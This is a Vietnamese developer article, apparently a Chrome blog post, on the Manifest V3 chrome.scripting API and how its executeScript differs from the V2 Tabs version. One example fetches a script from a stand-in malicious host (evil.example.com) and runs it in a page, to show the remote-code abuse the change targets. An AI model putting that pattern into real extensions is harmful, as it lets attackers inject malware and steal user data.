Giới thiệu về chrome.scripting

Manifest V3 đưa ra một số thay đổi đối với nền tảng tiện ích của Chrome. Trong bài đăng này, chúng ta sẽ khám phá các động lực và thay đổi mà một trong những thay đổi đáng chú ý hơn mang lại: sự ra mắt của API chrome.scripting.

chrome.scripting là gì?

Đúng như tên gọi, chrome.scripting là một không gian tên mới ra mắt trong Manifest V3 chịu trách nhiệm về khả năng chèn tập lệnh và kiểu.

Các nhà phát triển từng tạo tiện ích của Chrome có thể quen thuộc với các phương thức Manifest V2 trên Tab API như chrome.tabs.executeScriptchrome.tabs.insertCSS. Các phương thức này cho phép tiện ích chèn tập lệnh và biểu định kiểu vào các trang tương ứng. Trong Manifest V3, những chức năng này đã chuyển sang chrome.scripting và chúng tôi dự định mở rộng API này với một số tính năng mới trong tương lai.

Tại sao nên tạo API mới?

Với sự thay đổi như thế này, một trong những câu hỏi đầu tiên thường xuất hiện là "tại sao?"

Một số yếu tố khiến nhóm Chrome quyết định ra mắt một không gian tên mới cho tập lệnh. Đầu tiên, API Thẻ là một ngăn chứa nội dung rác dành cho các tính năng. Thứ hai, chúng tôi cần thực hiện các thay đổi có thể gây lỗi cho API executeScript hiện có. Thứ ba, chúng tôi biết rằng mình muốn mở rộng khả năng viết tập lệnh cho các tiện ích. Cùng với nhau, những vấn đề này xác định rõ sự cần thiết phải có một không gian tên mới cho khả năng viết tập lệnh.

Ngăn rác

Một trong những vấn đề làm phiền nhóm Tiện ích trong vài năm qua là API chrome.tabs bị quá tải. Khi API này được giới thiệu lần đầu tiên, hầu hết các tính năng mà API này cung cấp đều liên quan đến khái niệm rộng về thẻ trình duyệt. Mặc dù vậy, vào thời điểm đó, bộ sưu tập này chỉ là một bộ sưu tập tính năng và qua nhiều năm, bộ sưu tập này ngày càng phát triển.

Vào thời điểm Manifest V3 được phát hành, API Thẻ đã phát triển để bao gồm các chức năng quản lý thẻ cơ bản, quản lý lựa chọn, sắp xếp cửa sổ, nhắn tin, kiểm soát thu phóng, điều hướng cơ bản, viết tập lệnh và một vài chức năng nhỏ hơn khác. Mặc dù tất cả đều quan trọng, nhưng có thể gây đôi chút bối rối cho các nhà phát triển khi họ mới bắt đầu và nhóm Chrome vì chúng tôi duy trì nền tảng cũng như xem xét các yêu cầu của cộng đồng nhà phát triển.

Một yếu tố phức tạp khác là việc bạn không hiểu rõ quyền tabs. Mặc dù nhiều quyền khác hạn chế quyền truy cập vào một API nhất định (ví dụ: storage), nhưng quyền này hơi bất thường vì chỉ cấp quyền truy cập tiện ích vào các thuộc tính nhạy cảm trên các thực thể Thẻ (và do tiện ích cũng ảnh hưởng đến API của Windows). Có thể hiểu là nhiều nhà phát triển tiện ích đã nhầm lẫn khi nghĩ rằng họ cần quyền này để truy cập vào các phương thức trên API Thẻ như chrome.tabs.create hoặc nói cách khác là chrome.tabs.executeScript. Việc di chuyển chức năng ra khỏi API Thẻ sẽ giúp giải quyết một số nhầm lẫn này.

Thay đổi có thể gây lỗi

Khi thiết kế Manifest V3, một trong những vấn đề chính mà chúng tôi muốn giải quyết là hành vi lạm dụng và phần mềm độc hại được kích hoạt bởi "mã được lưu trữ từ xa" – mã được thực thi nhưng không được đưa vào gói tiện ích. Các tác giả tiện ích có hành vi sai trái thường thực thi các tập lệnh được tìm nạp từ các máy chủ từ xa để đánh cắp dữ liệu người dùng, chèn phần mềm độc hại và né tránh việc phát hiện. Mặc dù các diễn viên giỏi cũng dùng tính năng này, nhưng cuối cùng chúng tôi cảm thấy rằng việc giữ nguyên như cũ thật sự quá nguy hiểm.

Có một vài cách mà tiện ích có thể thực thi mã chưa theo gói, nhưng cách phù hợp ở đây là phương thức chrome.tabs.executeScript của Manifest V2. Phương thức này cho phép một tiện ích thực thi một chuỗi mã tuỳ ý trong thẻ mục tiêu. Đổi lại, điều này có nghĩa là nhà phát triển độc hại có thể tìm nạp một tập lệnh tuỳ ý từ một máy chủ từ xa và thực thi tập lệnh đó bên trong bất kỳ trang nào mà tiện ích có thể truy cập. Chúng tôi biết rằng nếu muốn giải quyết vấn đề về mã từ xa, chúng tôi sẽ phải loại bỏ tính năng này.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Chúng tôi cũng muốn dọn dẹp một số vấn đề tinh vi hơn khác với thiết kế của phiên bản Manifest V2, đồng thời làm cho API trở nên tinh tế và dễ dự đoán hơn.

Mặc dù có thể đã thay đổi chữ ký của phương thức này trong API Thẻ, nhưng chúng tôi nhận thấy rằng giữa những thay đổi có thể gây lỗi này và việc giới thiệu các tính năng mới (được đề cập trong phần tiếp theo), mọi người sẽ dễ dàng hơn trong việc giải quyết vấn đề.

Mở rộng khả năng viết tập lệnh

Một cân nhắc khác được đưa vào quy trình thiết kế Manifest V3 là mong muốn giới thiệu các tính năng viết tập lệnh bổ sung cho nền tảng tiện ích của Chrome. Cụ thể, chúng tôi muốn thêm tính năng hỗ trợ cho tập lệnh nội dung động và mở rộng các tính năng của phương thức executeScript.

Tính năng hỗ trợ tập lệnh nội dung động đã luôn là một yêu cầu lâu dài của Chromium. Hiện nay, các tiện ích Manifest V2 và V3 của Chrome chỉ có thể khai báo tĩnh tập lệnh nội dung trong tệp manifest.json; nền tảng không cung cấp cách thức đăng ký tập lệnh nội dung mới, chỉnh sửa quy trình đăng ký tập lệnh nội dung hoặc huỷ đăng ký tập lệnh nội dung trong thời gian chạy.

Mặc dù chúng tôi biết rằng mình muốn giải quyết yêu cầu về tính năng này trong Manifest V3, nhưng không có API hiện tại nào của chúng tôi cảm thấy phù hợp. Chúng tôi cũng đã cân nhắc việc điều chỉnh cho phù hợp với Firefox trên Content Script API của họ, nhưng ngay từ đầu, chúng tôi đã xác định được một số hạn chế lớn của phương pháp này. Trước tiên, chúng tôi biết rằng mình sẽ có những chữ ký không tương thích (ví dụ: ngừng hỗ trợ thuộc tính code). Thứ hai, API của chúng tôi có một loạt các quy tắc ràng buộc khác về thiết kế (ví dụ: cần đăng ký để duy trì vượt quá vòng đời của một trình chạy dịch vụ). Cuối cùng, không gian tên này cũng là nơi chúng ta có thể sử dụng chức năng tập lệnh nội dung, trong đó chúng ta đang xem xét việc viết tập lệnh trong các tiện ích ở phạm vi rộng hơn.

Ở mặt trước executeScript, chúng tôi cũng muốn mở rộng những việc mà API này có thể làm ngoài những việc mà phiên bản API Thẻ đã hỗ trợ. Cụ thể hơn, chúng tôi muốn hỗ trợ các hàm và đối số, dễ dàng nhắm mục tiêu các khung cụ thể hơn và nhắm mục tiêu ngữ cảnh không phải "thẻ".

Từ nay trở đi, chúng tôi cũng đang xem xét cách các tiện ích có thể tương tác với PWA đã cài đặt cũng như những ngữ cảnh khác chưa ánh xạ tới "thẻ".

Các thay đổi giữa tab.ExecutionScript và Scripts.ExecutionScript

Trong phần còn lại của bài đăng này, tôi muốn xem xét kỹ hơn những điểm tương đồng và khác biệt giữa chrome.tabs.executeScriptchrome.scripting.executeScript.

Chèn một hàm có đối số

Trong khi xem xét cách nền tảng cần phát triển theo các hạn chế về mã được lưu trữ từ xa, chúng tôi muốn tìm sự cân bằng giữa khả năng thực thi mã tuỳ ý và chỉ cho phép tập lệnh nội dung tĩnh. Giải pháp mà chúng tôi đề cập là cho phép các tiện ích chèn một hàm dưới dạng tập lệnh nội dung và truyền một mảng giá trị dưới dạng đối số.

Hãy xem nhanh một ví dụ (được đơn giản hoá). Giả sử chúng ta muốn chèn một tập lệnh chào người dùng theo tên khi người dùng nhấp vào nút hành động của tiện ích (biểu tượng trên thanh công cụ). Trong Manifest V2, chúng ta có thể tự động tạo chuỗi mã và thực thi tập lệnh đó trong trang hiện tại.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Mặc dù tiện ích Manifest V3 không thể sử dụng mã không đi kèm với tiện ích, nhưng mục tiêu của chúng tôi là duy trì một số tính linh hoạt mà các khối mã tuỳ ý bật cho tiện ích Manifest V2. Cách tiếp cận hàm và đối số giúp người đánh giá, người dùng và các bên quan tâm khác trên Cửa hàng Chrome trực tuyến có thể đánh giá chính xác hơn các rủi ro mà tiện ích gây ra, đồng thời cho phép nhà phát triển sửa đổi hành vi trong thời gian chạy của tiện ích dựa trên chế độ cài đặt của người dùng hoặc trạng thái ứng dụng.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Nhắm mục tiêu khung

Chúng tôi cũng muốn cải thiện cách nhà phát triển tương tác với khung trong API sửa đổi. Phiên bản Manifest V2 của executeScript cho phép nhà phát triển nhắm đến tất cả các khung trong một thẻ hoặc một khung cụ thể trong thẻ đó. Bạn có thể sử dụng chrome.webNavigation.getAllFrames để xem danh sách tất cả khung hình trong một thẻ.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Trong Manifest V3, chúng tôi đã thay thế thuộc tính số nguyên frameId (không bắt buộc) trong đối tượng tuỳ chọn bằng một mảng số nguyên frameIds không bắt buộc. Điều này cho phép nhà phát triển nhắm đến nhiều khung trong một lệnh gọi API duy nhất.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Kết quả chèn tập lệnh

Chúng tôi cũng đã cải thiện cách trả về kết quả chèn tập lệnh trong Manifest V3. Về cơ bản, "Kết quả" là câu lệnh cuối cùng được đánh giá trong một tập lệnh. Hãy xem giá trị này giống như giá trị được trả về khi bạn gọi eval() hoặc thực thi một khối mã trong bảng điều khiển Công cụ của Chrome cho nhà phát triển, nhưng được chuyển đổi tuần tự để chuyển kết quả giữa các quy trình.

Trong Manifest V2, executeScriptinsertCSS sẽ trả về một mảng các kết quả thực thi thuần tuý. Điều này là bình thường nếu bạn chỉ có một điểm chèn duy nhất, nhưng thứ tự kết quả không được đảm bảo khi chèn vào nhiều khung. Vì vậy, không có cách nào để biết kết quả nào được liên kết với khung hình nào.

Để xem ví dụ cụ thể, hãy xem các mảng results do Manifest V2 trả về và phiên bản Manifest V3 của cùng một tiện ích. Cả hai phiên bản của tiện ích đều sẽ chèn cùng một tập lệnh nội dung và chúng tôi sẽ so sánh kết quả trên cùng một trang minh hoạ.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Khi chạy phiên bản Manifest V2, chúng ta nhận lại một mảng [1, 0, 5]. Kết quả nào tương ứng với khung chính và kết quả nào dành cho iframe? Giá trị trả về không cho chúng ta biết, vì vậy, chúng tôi không biết chắc.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Trong phiên bản Manifest V3, results hiện chứa một mảng các đối tượng kết quả thay vì một mảng chỉ gồm kết quả đánh giá, đồng thời các đối tượng kết quả sẽ xác định rõ ràng mã nhận dạng của khung cho từng kết quả. Điều này giúp nhà phát triển dễ dàng sử dụng kết quả và thực hiện hành động trên một khung cụ thể.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Tóm tắt

Việc tăng phiên bản tệp kê khai mang đến một cơ hội hiếm có để suy nghĩ lại và hiện đại hoá các API tiện ích. Mục tiêu của chúng tôi đối với Manifest V3 là cải thiện trải nghiệm người dùng cuối bằng cách làm cho các tiện ích trở nên an toàn hơn, đồng thời cải thiện trải nghiệm của nhà phát triển. Bằng cách ra mắt chrome.scripting trong Manifest V3, chúng tôi có thể giúp dọn dẹp API Tab, thiết kế lại executeScript cho nền tảng tiện ích an toàn hơn, đồng thời đặt nền tảng cho các tính năng tập lệnh mới sẽ ra mắt vào cuối năm nay.